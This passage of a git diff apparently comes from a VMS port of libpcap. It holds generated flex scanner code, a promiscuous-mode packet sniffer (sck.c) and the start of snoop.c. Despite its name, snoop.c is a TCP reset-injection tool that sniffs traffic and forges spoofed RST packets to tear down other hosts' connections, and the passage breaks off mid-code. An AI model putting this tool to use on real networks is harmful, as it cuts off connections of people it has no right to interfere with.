"../libpcap/scanner.l" +{ yylval.i = 0x20; return NUM; } + YY_BREAK +case 107: +YY_RULE_SETUP +#line 326 "../libpcap/scanner.l" +{ + yylval.s = sdup((char *)yytext); return ID; } + YY_BREAK +case 108: +YY_RULE_SETUP +#line 328 "../libpcap/scanner.l" +{ yylval.s = sdup((char *)yytext + 1); return ID; } + YY_BREAK +case 109: +YY_RULE_SETUP +#line 329 "../libpcap/scanner.l" +{ + bpf_error("illegal token: %s", yytext); } + YY_BREAK +case 110: +YY_RULE_SETUP +#line 331 "../libpcap/scanner.l" +{ bpf_error("illegal char '%c'", *yytext); } + YY_BREAK +case 111: +YY_RULE_SETUP +#line 332 "../libpcap/scanner.l" +ECHO; + YY_BREAK +case YY_STATE_EOF(INITIAL): + yyterminate(); + + case YY_END_OF_BUFFER: + { + /* Amount of text matched not including the EOB char. */ + int yy_amount_of_matched_text = (int) (yy_cp - yytext_ptr) - 1; + + /* Undo the effects of YY_DO_BEFORE_ACTION. */ + *yy_cp = yy_hold_char; + YY_RESTORE_YY_MORE_OFFSET + + if ( yy_current_buffer->yy_buffer_status == YY_BUFFER_NEW ) + { + /* We're scanning a new file or input source. It's + * possible that this happened because the user + * just pointed yyin at a new source and called + * yylex(). If so, then we have to assure + * consistency between yy_current_buffer and our + * globals. Here is the right place to do so, because + * this is the first action (other than possibly a + * back-up) that will match for the new input source. + */ + yy_n_chars = yy_current_buffer->yy_n_chars; + yy_current_buffer->yy_input_file = yyin; + yy_current_buffer->yy_buffer_status = YY_BUFFER_NORMAL; + } + + /* Note that here we test for yy_c_buf_p "<=" to the position + * of the first EOB in the buffer, since yy_c_buf_p will + * already have been incremented past the NUL character + * (since all states make transitions on EOB to the + * end-of-buffer state). Contrast this with the test + * in input(). + */ + if ( yy_c_buf_p <= &yy_current_buffer->yy_ch_buf[yy_n_chars] ) + { /* This was really a NUL. */ + yy_state_type yy_next_state; + + yy_c_buf_p = yytext_ptr + yy_amount_of_matched_text; + + yy_current_state = yy_get_previous_state(); + + /* Okay, we're now positioned to make the NUL + * transition. We couldn't have + * yy_get_previous_state() go ahead and do it + * for us because it doesn't know how to deal + * with the possibility of jamming (and we don't + * want to build jamming into it because then it + * will run more slowly). + */ + + yy_next_state = yy_try_NUL_trans( yy_current_state ); + + yy_bp = yytext_ptr + YY_MORE_ADJ; + + if ( yy_next_state ) + { + /* Consume the NUL. */ + yy_cp = ++yy_c_buf_p; + yy_current_state = yy_next_state; + goto yy_match; + } + + else + { + yy_cp = yy_c_buf_p; + goto yy_find_action; + } + } + + else switch ( yy_get_next_buffer() ) + { + case EOB_ACT_END_OF_FILE: + { + yy_did_buffer_switch_on_eof = 0; + + if ( yywrap() ) + { + /* Note: because we've taken care in + * yy_get_next_buffer() to have set up + * yytext, we can now set up + * yy_c_buf_p so that if some total + * hoser (like flex itself) wants to + * call the scanner after we return the + * YY_NULL, it'll still work - another + * YY_NULL will get returned. + */ + yy_c_buf_p = yytext_ptr + YY_MORE_ADJ; + + yy_act = YY_STATE_EOF(YY_START); + goto do_action; + } + + else + { + if ( ! yy_did_buffer_switch_on_eof ) + YY_NEW_FILE; + } + break; + } + + case EOB_ACT_CONTINUE_SCAN: + yy_c_buf_p = + yytext_ptr + yy_amount_of_matched_text; + + yy_current_state = yy_get_previous_state(); + + yy_cp = yy_c_buf_p; + yy_bp = yytext_ptr + YY_MORE_ADJ; + goto yy_match; + + case EOB_ACT_LAST_MATCH: + yy_c_buf_p = + &yy_current_buffer->yy_ch_buf[yy_n_chars]; + + yy_current_state = yy_get_previous_state(); + + yy_cp = yy_c_buf_p; + yy_bp = yytext_ptr + YY_MORE_ADJ; + goto yy_find_action; + } + break; + } + + default: + YY_FATAL_ERROR( + "fatal flex scanner internal error--no action found" ); + } /* end of action switch */ + } /* end of scanning one token */ + } /* end of yylex */ + + +/* yy_get_next_buffer - try to read in a new buffer + * + * Returns a code representing an action: + * EOB_ACT_LAST_MATCH - + * EOB_ACT_CONTINUE_SCAN - continue scanning from current position + * EOB_ACT_END_OF_FILE - end of file + */ + +static int yy_get_next_buffer() + { + register char *dest = yy_current_buffer->yy_ch_buf; + register char *source = yytext_ptr; + register int number_to_move, i; + int ret_val; + + if ( yy_c_buf_p > &yy_current_buffer->yy_ch_buf[yy_n_chars + 1] ) + YY_FATAL_ERROR( + "fatal flex scanner internal error--end of buffer missed" ); + + if ( yy_current_buffer->yy_fill_buffer == 0 ) + { /* Don't try to fill the buffer, so this is an EOF. */ + if ( yy_c_buf_p - yytext_ptr - YY_MORE_ADJ == 1 ) + { + /* We matched a single character, the EOB, so + * treat this as a final EOF. + */ + return EOB_ACT_END_OF_FILE; + } + + else + { + /* We matched some text prior to the EOB, first + * process it. + */ + return EOB_ACT_LAST_MATCH; + } + } + + /* Try to read more data. */ + + /* First move last chars to start of buffer. */ + number_to_move = (int) (yy_c_buf_p - yytext_ptr) - 1; + + for ( i = 0; i < number_to_move; ++i ) + *(dest++) = *(source++); + + if ( yy_current_buffer->yy_buffer_status == YY_BUFFER_EOF_PENDING ) + /* don't do the read, it's not guaranteed to return an EOF, + * just force an EOF + */ + yy_current_buffer->yy_n_chars = yy_n_chars = 0; + + else + { + int num_to_read = + yy_current_buffer->yy_buf_size - number_to_move - 1; + + while ( num_to_read <= 0 ) + { /* Not enough room in the buffer - grow it. */ +#ifdef YY_USES_REJECT + YY_FATAL_ERROR( +"input buffer overflow, can't enlarge buffer because scanner uses REJECT" ); +#else + + /* just a shorter name for the current buffer */ + YY_BUFFER_STATE b = yy_current_buffer; + + int yy_c_buf_p_offset = + (int) (yy_c_buf_p - b->yy_ch_buf); + + if ( b->yy_is_our_buffer ) + { + int new_size = b->yy_buf_size * 2; + + if ( new_size <= 0 ) + b->yy_buf_size += b->yy_buf_size / 8; + else + b->yy_buf_size *= 2; + + b->yy_ch_buf = (char *) + /* Include room in for 2 EOB chars. */ + yy_flex_realloc( (void *) b->yy_ch_buf, + b->yy_buf_size + 2 ); + } + else + /* Can't grow it, we don't own it. */ + b->yy_ch_buf = 0; + + if ( ! b->yy_ch_buf ) + YY_FATAL_ERROR( + "fatal error - scanner input buffer overflow" ); + + yy_c_buf_p = &b->yy_ch_buf[yy_c_buf_p_offset]; + + num_to_read = yy_current_buffer->yy_buf_size - + number_to_move - 1; +#endif + } + + if ( num_to_read > YY_READ_BUF_SIZE ) + num_to_read = YY_READ_BUF_SIZE; + + /* Read in more data. */ + YY_INPUT( (&yy_current_buffer->yy_ch_buf[number_to_move]), + yy_n_chars, num_to_read ); + + yy_current_buffer->yy_n_chars = yy_n_chars; + } + + if ( yy_n_chars == 0 ) + { + if ( number_to_move == YY_MORE_ADJ ) + { + ret_val = EOB_ACT_END_OF_FILE; + yyrestart( yyin ); + } + + else + { + ret_val = EOB_ACT_LAST_MATCH; + yy_current_buffer->yy_buffer_status = + YY_BUFFER_EOF_PENDING; + } + } + + else + ret_val = EOB_ACT_CONTINUE_SCAN; + + yy_n_chars += number_to_move; + yy_current_buffer->yy_ch_buf[yy_n_chars] = YY_END_OF_BUFFER_CHAR; + yy_current_buffer->yy_ch_buf[yy_n_chars + 1] = YY_END_OF_BUFFER_CHAR; + + yytext_ptr = &yy_current_buffer->yy_ch_buf[0]; + + return ret_val; + } + + +/* yy_get_previous_state - get the state just before the EOB char was reached */ + +static yy_state_type yy_get_previous_state() + { + register yy_state_type yy_current_state; + register char *yy_cp; + + yy_current_state = yy_start; + + for ( yy_cp = yytext_ptr + YY_MORE_ADJ; yy_cp < yy_c_buf_p; ++yy_cp ) + { + register YY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1); + if ( yy_accept[yy_current_state] ) + { + yy_last_accepting_state = yy_current_state; + yy_last_accepting_cpos = yy_cp; + } + while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state ) + { + yy_current_state = (int) yy_def[yy_current_state]; + if ( yy_current_state >= 1247 ) + yy_c = yy_meta[(unsigned int) yy_c]; + } + yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c]; + } + + return yy_current_state; + } + + +/* yy_try_NUL_trans - try to make a transition on the NUL character + * + * synopsis + * next_state = yy_try_NUL_trans( current_state ); + */ + +#ifdef YY_USE_PROTOS +static yy_state_type yy_try_NUL_trans( yy_state_type yy_current_state ) +#else +static yy_state_type yy_try_NUL_trans( yy_current_state ) +yy_state_type yy_current_state; +#endif + { + register int yy_is_jam; + register char *yy_cp = yy_c_buf_p; + + register YY_CHAR yy_c = 1; + if ( yy_accept[yy_current_state] ) + { + yy_last_accepting_state = yy_current_state; + yy_last_accepting_cpos = yy_cp; + } + while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state ) + { + yy_current_state = (int) yy_def[yy_current_state]; + if ( yy_current_state >= 1247 ) + yy_c = yy_meta[(unsigned int) yy_c]; + } + yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c]; + yy_is_jam = (yy_current_state == 1246); + + return yy_is_jam ? 0 : yy_current_state; + } + + +#ifndef YY_NO_UNPUT +#ifdef YY_USE_PROTOS +static void yyunput( int c, register char *yy_bp ) +#else +static void yyunput( c, yy_bp ) +int c; +register char *yy_bp; +#endif + { + register char *yy_cp = yy_c_buf_p; + + /* undo effects of setting up yytext */ + *yy_cp = yy_hold_char; + + if ( yy_cp < yy_current_buffer->yy_ch_buf + 2 ) + { /* need to shift things up to make room */ + /* +2 for EOB chars. */ + register int number_to_move = yy_n_chars + 2; + register char *dest = &yy_current_buffer->yy_ch_buf[ + yy_current_buffer->yy_buf_size + 2]; + register char *source = + &yy_current_buffer->yy_ch_buf[number_to_move]; + + while ( source > yy_current_buffer->yy_ch_buf ) + *--dest = *--source; + + yy_cp += (int) (dest - source); + yy_bp += (int) (dest - source); + yy_current_buffer->yy_n_chars = + yy_n_chars = yy_current_buffer->yy_buf_size; + + if ( yy_cp < yy_current_buffer->yy_ch_buf + 2 ) + YY_FATAL_ERROR( "flex scanner push-back overflow" ); + } + + *--yy_cp = (char) c; + + + yytext_ptr = yy_bp; + yy_hold_char = *yy_cp; + yy_c_buf_p = yy_cp; + } +#endif /* ifndef YY_NO_UNPUT */ + + +#ifdef __cplusplus +static int yyinput() +#else +static int input() +#endif + { + int c; + + *yy_c_buf_p = yy_hold_char; + + if ( *yy_c_buf_p == YY_END_OF_BUFFER_CHAR ) + { + /* yy_c_buf_p now points to the character we want to return. + * If this occurs *before* the EOB characters, then it's a + * valid NUL; if not, then we've hit the end of the buffer. + */ + if ( yy_c_buf_p < &yy_current_buffer->yy_ch_buf[yy_n_chars] ) + /* This was really a NUL. */ + *yy_c_buf_p = '\0'; + + else + { /* need more input */ + int offset = yy_c_buf_p - yytext_ptr; + ++yy_c_buf_p; + + switch ( yy_get_next_buffer() ) + { + case EOB_ACT_LAST_MATCH: + /* This happens because yy_g_n_b() + * sees that we've accumulated a + * token and flags that we need to + * try matching the token before + * proceeding. But for input(), + * there's no matching to consider. + * So convert the EOB_ACT_LAST_MATCH + * to EOB_ACT_END_OF_FILE. + */ + + /* Reset buffer status. */ + yyrestart( yyin ); + + /* fall through */ + + case EOB_ACT_END_OF_FILE: + { + if ( yywrap() ) + return EOF; + + if ( ! yy_did_buffer_switch_on_eof ) + YY_NEW_FILE; +#ifdef __cplusplus + return yyinput(); +#else + return input(); +#endif + } + + case EOB_ACT_CONTINUE_SCAN: + yy_c_buf_p = yytext_ptr + offset; + break; + } + } + } + + c = *(unsigned char *) yy_c_buf_p; /* cast for 8-bit char's */ + *yy_c_buf_p = '\0'; /* preserve yytext */ + yy_hold_char = *++yy_c_buf_p; + + + return c; + } + + +#ifdef YY_USE_PROTOS +void yyrestart( FILE *input_file ) +#else +void yyrestart( input_file ) +FILE *input_file; +#endif + { + if ( ! yy_current_buffer ) + yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE ); + + yy_init_buffer( yy_current_buffer, input_file ); + yy_load_buffer_state(); + } + + +#ifdef YY_USE_PROTOS +void yy_switch_to_buffer( YY_BUFFER_STATE new_buffer ) +#else +void yy_switch_to_buffer( new_buffer ) +YY_BUFFER_STATE new_buffer; +#endif + { + if ( yy_current_buffer == new_buffer ) + return; + + if ( yy_current_buffer ) + { + /* Flush out information for old buffer. */ + *yy_c_buf_p = yy_hold_char; + yy_current_buffer->yy_buf_pos = yy_c_buf_p; + yy_current_buffer->yy_n_chars = yy_n_chars; + } + + yy_current_buffer = new_buffer; + yy_load_buffer_state(); + + /* We don't actually know whether we did this switch during + * EOF (yywrap()) processing, but the only time this flag + * is looked at is after yywrap() is called, so it's safe + * to go ahead and always set it. + */ + yy_did_buffer_switch_on_eof = 1; + } + + +#ifdef YY_USE_PROTOS +void yy_load_buffer_state( void ) +#else +void yy_load_buffer_state() +#endif + { + yy_n_chars = yy_current_buffer->yy_n_chars; + yytext_ptr = yy_c_buf_p = yy_current_buffer->yy_buf_pos; + yyin = yy_current_buffer->yy_input_file; + yy_hold_char = *yy_c_buf_p; + } + + +#ifdef YY_USE_PROTOS +YY_BUFFER_STATE yy_create_buffer( FILE *file, int size ) +#else +YY_BUFFER_STATE yy_create_buffer( file, size ) +FILE *file; +int size; +#endif + { + YY_BUFFER_STATE b; + + b = (YY_BUFFER_STATE) yy_flex_alloc( sizeof( struct yy_buffer_state ) ); + if ( ! b ) + YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" ); + + b->yy_buf_size = size; + + /* yy_ch_buf has to be 2 characters longer than the size given because + * we need to put in 2 end-of-buffer characters. + */ + b->yy_ch_buf = (char *) yy_flex_alloc( b->yy_buf_size + 2 ); + if ( ! b->yy_ch_buf ) + YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" ); + + b->yy_is_our_buffer = 1; + + yy_init_buffer( b, file ); + + return b; + } + + +#ifdef YY_USE_PROTOS +void yy_delete_buffer( YY_BUFFER_STATE b ) +#else +void yy_delete_buffer( b ) +YY_BUFFER_STATE b; +#endif + { + if ( ! b ) + return; + + if ( b == yy_current_buffer ) + yy_current_buffer = (YY_BUFFER_STATE) 0; + + if ( b->yy_is_our_buffer ) + yy_flex_free( (void *) b->yy_ch_buf ); + + yy_flex_free( (void *) b ); + } + + +#ifndef YY_ALWAYS_INTERACTIVE +#ifndef YY_NEVER_INTERACTIVE +extern int isatty YY_PROTO(( int )); +#endif +#endif + +#ifdef YY_USE_PROTOS +void yy_init_buffer( YY_BUFFER_STATE b, FILE *file ) +#else +void yy_init_buffer( b, file ) +YY_BUFFER_STATE b; +FILE *file; +#endif + + + { + yy_flush_buffer( b ); + + b->yy_input_file = file; + b->yy_fill_buffer = 1; + +#if YY_ALWAYS_INTERACTIVE + b->yy_is_interactive = 1; +#else +#if YY_NEVER_INTERACTIVE + b->yy_is_interactive = 0; +#else + b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0; +#endif +#endif + } + + +#ifdef YY_USE_PROTOS +void yy_flush_buffer( YY_BUFFER_STATE b ) +#else +void yy_flush_buffer( b ) +YY_BUFFER_STATE b; +#endif + + { + if ( ! b ) + return; + + b->yy_n_chars = 0; + + /* We always need two end-of-buffer characters. The first causes + * a transition to the end-of-buffer state. The second causes + * a jam in that state. + */ + b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR; + b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR; + + b->yy_buf_pos = &b->yy_ch_buf[0]; + + b->yy_at_bol = 1; + b->yy_buffer_status = YY_BUFFER_NEW; + + if ( b == yy_current_buffer ) + yy_load_buffer_state(); + } + + +#ifndef YY_NO_SCAN_BUFFER +#ifdef YY_USE_PROTOS +YY_BUFFER_STATE yy_scan_buffer( char *base, yy_size_t size ) +#else +YY_BUFFER_STATE yy_scan_buffer( base, size ) +char *base; +yy_size_t size; +#endif + { + YY_BUFFER_STATE b; + + if ( size < 2 || + base[size-2] != YY_END_OF_BUFFER_CHAR || + base[size-1] != YY_END_OF_BUFFER_CHAR ) + /* They forgot to leave room for the EOB's. */ + return 0; + + b = (YY_BUFFER_STATE) yy_flex_alloc( sizeof( struct yy_buffer_state ) ); + if ( ! b ) + YY_FATAL_ERROR( "out of dynamic memory in yy_scan_buffer()" ); + + b->yy_buf_size = size - 2; /* "- 2" to take care of EOB's */ + b->yy_buf_pos = b->yy_ch_buf = base; + b->yy_is_our_buffer = 0; + b->yy_input_file = 0; + b->yy_n_chars = b->yy_buf_size; + b->yy_is_interactive = 0; + b->yy_at_bol = 1; + b->yy_fill_buffer = 0; + b->yy_buffer_status = YY_BUFFER_NEW; + + yy_switch_to_buffer( b ); + + return b; + } +#endif + + +#ifndef YY_NO_SCAN_STRING +#ifdef YY_USE_PROTOS +YY_BUFFER_STATE yy_scan_string( yyconst char *yy_str ) +#else +YY_BUFFER_STATE yy_scan_string( yy_str ) +yyconst char *yy_str; +#endif + { + int len; + for ( len = 0; yy_str[len]; ++len ) + ; + + return yy_scan_bytes( yy_str, len ); + } +#endif + + +#ifndef YY_NO_SCAN_BYTES +#ifdef YY_USE_PROTOS +YY_BUFFER_STATE yy_scan_bytes( yyconst char *bytes, int len ) +#else +YY_BUFFER_STATE yy_scan_bytes( bytes, len ) +yyconst char *bytes; +int len; +#endif + { + YY_BUFFER_STATE b; + char *buf; + yy_size_t n; + int i; + + /* Get memory for full buffer, including space for trailing EOB's. */ + n = len + 2; + buf = (char *) yy_flex_alloc( n ); + if ( ! buf ) + YY_FATAL_ERROR( "out of dynamic memory in yy_scan_bytes()" ); + + for ( i = 0; i < len; ++i ) + buf[i] = bytes[i]; + + buf[len] = buf[len+1] = YY_END_OF_BUFFER_CHAR; + + b = yy_scan_buffer( buf, n ); + if ( ! b ) + YY_FATAL_ERROR( "bad buffer in yy_scan_bytes()" ); + + /* It's okay to grow etc. this buffer, and we should throw it + * away when we're done. + */ + b->yy_is_our_buffer = 1; + + return b; + } +#endif + + +#ifndef YY_NO_PUSH_STATE +#ifdef YY_USE_PROTOS +static void yy_push_state( int new_state ) +#else +static void yy_push_state( new_state ) +int new_state; +#endif + { + if ( yy_start_stack_ptr >= yy_start_stack_depth ) + { + yy_size_t new_size; + + yy_start_stack_depth += YY_START_STACK_INCR; + new_size = yy_start_stack_depth * sizeof( int ); + + if ( ! yy_start_stack ) + yy_start_stack = (int *) yy_flex_alloc( new_size ); + + else + yy_start_stack = (int *) yy_flex_realloc( + (void *) yy_start_stack, new_size ); + + if ( ! yy_start_stack ) + YY_FATAL_ERROR( + "out of memory expanding start-condition stack" ); + } + + yy_start_stack[yy_start_stack_ptr++] = YY_START; + + BEGIN(new_state); + } +#endif + + +#ifndef YY_NO_POP_STATE +static void yy_pop_state() + { + if ( --yy_start_stack_ptr < 0 ) + YY_FATAL_ERROR( "start-condition stack underflow" ); + + BEGIN(yy_start_stack[yy_start_stack_ptr]); + } +#endif + + +#ifndef YY_NO_TOP_STATE +static int yy_top_state() + { + return yy_start_stack[yy_start_stack_ptr - 1]; + } +#endif + +#ifndef YY_EXIT_FAILURE +#define YY_EXIT_FAILURE 2 +#endif + +#ifdef YY_USE_PROTOS +static void yy_fatal_error( yyconst char msg[] ) +#else +static void yy_fatal_error( msg ) +char msg[]; +#endif + { + (void) fprintf( stderr, "%s\n", msg ); + exit( YY_EXIT_FAILURE ); + } + + + +/* Redefine yyless() so it works in section 3 code. */ + +#undef yyless +#define yyless(n) \ + do \ + { \ + /* Undo effects of setting up yytext. */ \ + yytext[yyleng] = yy_hold_char; \ + yy_c_buf_p = yytext + n; \ + yy_hold_char = *yy_c_buf_p; \ + *yy_c_buf_p = '\0'; \ + yyleng = n; \ + } \ + while ( 0 ) + + +/* Internal utility routines. */ + +#ifndef yytext_ptr +#ifdef YY_USE_PROTOS +static void yy_flex_strncpy( char *s1, yyconst char *s2, int n ) +#else +static void yy_flex_strncpy( s1, s2, n ) +char *s1; +yyconst char *s2; +int n; +#endif + { + register int i; + for ( i = 0; i < n; ++i ) + s1[i] = s2[i]; + } +#endif + +#ifdef YY_NEED_STRLEN +#ifdef YY_USE_PROTOS +static int yy_flex_strlen( yyconst char *s ) +#else +static int yy_flex_strlen( s ) +yyconst char *s; +#endif + { + register int n; + for ( n = 0; s[n]; ++n ) + ; + + return n; + } +#endif + + +#ifdef YY_USE_PROTOS +static void *yy_flex_alloc( yy_size_t size ) +#else +static void *yy_flex_alloc( size ) +yy_size_t size; +#endif + { + return (void *) malloc( size ); + } + +#ifdef YY_USE_PROTOS +static void *yy_flex_realloc( void *ptr, yy_size_t size ) +#else +static void *yy_flex_realloc( ptr, size ) +void *ptr; +yy_size_t size; +#endif + { + /* The cast to (char *) in the following accommodates both + * implementations that use char* generic pointers, and those + * that use void* generic pointers. It works with the latter + * because both ANSI C and C++ allow castless assignment from + * any pointer type to void*, and deal with argument conversions + * as though doing an assignment. + */ + return (void *) realloc( (char *) ptr, size ); + } + +#ifdef YY_USE_PROTOS +static void yy_flex_free( void *ptr ) +#else +static void yy_flex_free( ptr ) +void *ptr; +#endif + { + free( ptr ); + } + +#if YY_MAIN +int main() + { + yylex(); + return 0; + } +#endif +#line 332 "../libpcap/scanner.l" + +void +lex_init(buf) + char *buf; +{ +#ifdef FLEX_SCANNER + in_buffer = yy_scan_string(buf); +#else + in_buffer = buf; +#endif +} + +/* + * Do any cleanup necessary after parsing. + */ +void +lex_cleanup() +{ +#ifdef FLEX_SCANNER + if (in_buffer != NULL) + yy_delete_buffer(in_buffer); + in_buffer = NULL; +#endif +} + +/* + * Also define a yywrap. Note that if we're using flex, it will + * define a macro to map this identifier to pcap_wrap. + */ +int +yywrap() +{ + return 1; +} + +/* Hex digit to integer. */ +static inline int +xdtoi(c) + register int c; +{ + if (isdigit(c)) + return c - '0'; + else if (islower(c)) + return c - 'a' + 10; + else + return c - 'A' + 10; +} + +/* + * Convert string to integer. Just like atoi(), but checks for + * preceding 0x or 0 and uses hex or octal instead of decimal. + */ +static int +stoi(s) + char *s; +{ + int base = 10; + int n = 0; + + if (*s == '0') { + if (s[1] == 'x' || s[1] == 'X') { + s += 2; + base = 16; + } + else { + base = 8; + s += 1; + } + } + while (*s) + n = n * base + xdtoi(*s++); + + return n; +} diff --git a/Pcap-VMS/pcap-vci/sck.c b/Pcap-VMS/pcap-vci/sck.c new file mode 100644 index 00000000..9ac5490b --- /dev/null +++ b/Pcap-VMS/pcap-vci/sck.c @@ -0,0 +1,38 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +//#include "ip.h" + +//#include + + +/* arg1: the ip in net byte order + * return: the ip address in dot number form + */ +char *get_ip( unsigned long int net_byte_order ) +{ + struct in_addr bytestr; + + static char dot_ip[50]; + + bytestr.s_addr = net_byte_order; + strncpy(dot_ip, inet_ntoa(bytestr), 50); + return(dot_ip); +} + + +main() +{ + struct ifreq ifr; + int sock; + char buf[1596]; + struct iphdr *ip; /* Pointer to the ip header */ + struct tcphdr *tcp; /* Pointer to the tcp header */ + +/*********** PART 1 ***********/ + + /* Create the socket, we need a socket of type SOCK_PACKET in order + * to read given frames from an interface + */ + if( (sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)))== -1) + { + printf("Can't create socket\n"); + exit(0); + } + + printf("ifr.ifr_flags:\n"); + printf("Before we gets the interface flag: %d\n",ifr.ifr_flags); + + /* Get the interface flags + */ + strcpy(ifr.ifr_name, INTERFACE); + if(ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) + { + printf("error: ioctl SIOCGIFFLAGS"); + exit(0); + } + + printf("After we got the flag: %d\n",ifr.ifr_flags); + + + ifr.ifr_flags |= IFF_PROMISC; + + /* Set the interface flags. We set our IFF_PROMISC flag + */ + if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) + { + printf("error: ioctl SIOCSIFFLAGS\n"); + exit(0); + } + printf("After a new flag is set: %d\n",ifr.ifr_flags); + + + +/*********** PART 2 ***********/ + for(;;) + { + int n=0; + static int c=0; + for(;n<1;) + { + n = read(sock, buf, sizeof(buf)); + } + + /* Loopback double filter */ + c++; + if(c==D_FILTER)continue; + c=0; + ip = (struct iphdr *)(buf + 14); /* buf + eth */ + + /* Since we got a pointer to the ip head from above, we can use + * ip->ihl to get the lenght of the ip header.. cool :-). + * ihl means Internet Header Length + */ + tcp = (struct tcphdr*)(buf + 14 + (4 * ip->ihl)); + + + /* Continue if the protocol is other then tcp + * check /etc/protocols + */ + if(ip->protocol!=6)continue; + + /* Get all flags on the packet */ + if(tcp->th_flags & TH_SYN)printf("syn "); + if(tcp->th_flags & TH_ACK)printf("ack "); + if(tcp->th_flags & TH_RST)printf("rst "); + if(tcp->th_flags & TH_PUSH)printf("push "); + if(tcp->th_flags & TH_FIN)printf("fin "); + if(tcp->th_flags & TH_URG)printf("urg "); + + + /* Print the ip address and port number + */ + printf("S=%s -%d- ",get_ip(ip->saddr),ntohs(tcp->th_sport)); + printf("D=%s -%d-\n", get_ip(ip->daddr),ntohs(tcp->th_dport)); + + + /* Config stuff at the top of the source + */ + /* Continue if we do not wanna print the ip header + */ + if(PRINT_HDR == 0) continue; + + + /* Print IP header information + */ + printf("IPv%d ihl:%d tos:%d tot_len:%d id:%d frag_off %d ttl:%d " + "proto:%d chksum %d\n", + ip->version, + ip->ihl, + ip->tos, + ip->tot_len, + ip->id, + ip->frag_off, + ip->ttl, + ip->protocol, + ntohs(ip->check) + ); + + } + +return 0; +} + diff --git a/Pcap-VMS/pcap-vci/snoop.c b/Pcap-VMS/pcap-vci/snoop.c new file mode 100644 index 00000000..d9bc407a --- /dev/null +++ b/Pcap-VMS/pcap-vci/snoop.c @@ -0,0 +1,247 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define RSTS 10 +#define IF "eth0" + +int sp_fd; + +unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) { + unsigned long sum; + + __asm__ __volatile__(" + movl (%1), %0 + subl $4, %2 + jbe 2f + addl 4(%1), %0 + adcl 8(%1), %0 + adcl 12(%1), %0 +1: adcl 16(%1), %0 + lea 4(%1), %1 + decl %2 + jne 1b + adcl $0, %0 + movl %0, %2 + shrl $16, %0 + addw %w2, %w0 + adcl $0, %0 + notl %0 +2: + " + : "=r" (sum), "=r" (iph), "=r" (ihl) + : "1" (iph), "2" (ihl)); + return(sum); +} + +struct tcppk { + struct iphdr ip; + struct tcphdr tcp; + char data[1500]; +}; + +struct pseudo { + unsigned long saddr, daddr; + unsigned char zero, proto; + unsigned short len; +}; + +void raw(void) +{ + int opt=1; + + if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){ + perror("\nRAWIP() RAW Socket problems [Died]"); + exit(); + } + if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){ + perror("RAWIP() Cannot set IP_HDRINCL [Died]"); + exit(); + } + +} + +int tap(char* device,int mode) +{ + int fd; + struct ifreq ifr; + + if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){ + perror("SNIFF() SOCK_PACKET allocation problems [Died]"); + exit(); + } + + strcpy(ifr.ifr_name,device); + if((ioctl(fd, SIOCGIFFLAGS, &ifr)) <0){ + perror("SNIFF() Can't get device flags [Died]"); + close(fd); + exit(); + } + + if(!mode)ifr.ifr_flags ^= IFF_PROMISC; + else ifr.ifr_flags |= IFF_PROMISC; + if((ioctl(fd, SIOCSIFFLAGS, &ifr)) <0){ + perror("SNIFF() Can't set/unset promiscuous mode [Died]"); + close(fd); + exit(); + } + + if(!mode){ + close(fd); + return(0); + } + else return(fd); +} + +unsigned long in_aton(const char *str) +{ + unsigned long l; + unsigned long val; + int i; + + l = 0; + for (i = 0; i < 4; i++) + { + l <<= 8; + if (*str != '\0') + { + val = 0; + while (*str != '\0' && *str != '.') + { + val *= 10; + val += *str - '0'; + str++; + } + l |= val; + if (*str != '\0') + str++; + } + } + return(htonl(l)); +} + +void uff(void) { + printf("\nUso: RST sourceIP src_port destIP dest_port\n\n"); + exit(1); +} + +int main(int argc, char **argv) { + + unsigned char buffer[1500], checkbuff[32], checkbuff2[32]; + struct sockaddr_in sin, sin2; + struct iphdr *ip; + struct tcphdr *tcp; + struct pseudo *psp, *psp2; + struct tcppk tpk, tpk2; + int sniff, snt, snt2, rst=0; + unsigned long saddr, daddr; + unsigned short src, dest; + + if(argc<5) { + uff(); + exit(1); + } + saddr=in_aton(argv[1]);daddr=in_aton(argv[3]); + src=htons(atoi(argv[2]));dest=htons(atoi(argv[4])); + + sniff=tap(IF, 1); + raw(); + + if(setpriority(0, 0, -20) <0){ + printf("\nRST setpriority Error\n"); + } + + ip = (struct iphdr *)(((char *)buffer)+14); + tcp = (struct tcphdr *)(((char *)buffer)+(sizeof(struct iphdr)+14)); + psp = (struct pseudo *)checkbuff; + psp2 = (struct pseudo *)checkbuff2; + + memset(&sin, 0, sizeof(sin)); + sin.sin_family=AF_INET; + sin.sin_port=src; + sin.sin_addr.s_addr=saddr; + memset(&sin2, 0, sizeof(sin2)); + sin.sin_family=AF_INET; + sin.sin_port=dest; + sin.sin_addr.s_addr=daddr; + + memset(&tpk, 0, sizeof(tpk)); + memset(&tpk2, 0, sizeof(tpk2)); + memset(psp, 0, sizeof(struct pseudo)); + memset(psp2, 0, sizeof(struct pseudo)); + + tpk.ip.ihl=5; + tpk.ip.version=4; + tpk.ip.tos=0; + tpk.ip.tot_len=htons(40); + tpk.ip.frag_off=0; + tpk.ip.ttl=64; + tpk.ip.protocol=IPPROTO_TCP; + tpk.ip.saddr=daddr; + tpk.ip.daddr=saddr; + tpk.tcp.source=dest; + tpk.tcp.dest=src; + tpk.tcp.doff=5; + tpk.tcp.rst=1; + tpk.tcp.ack=1; + tpk.tcp.window=0; + 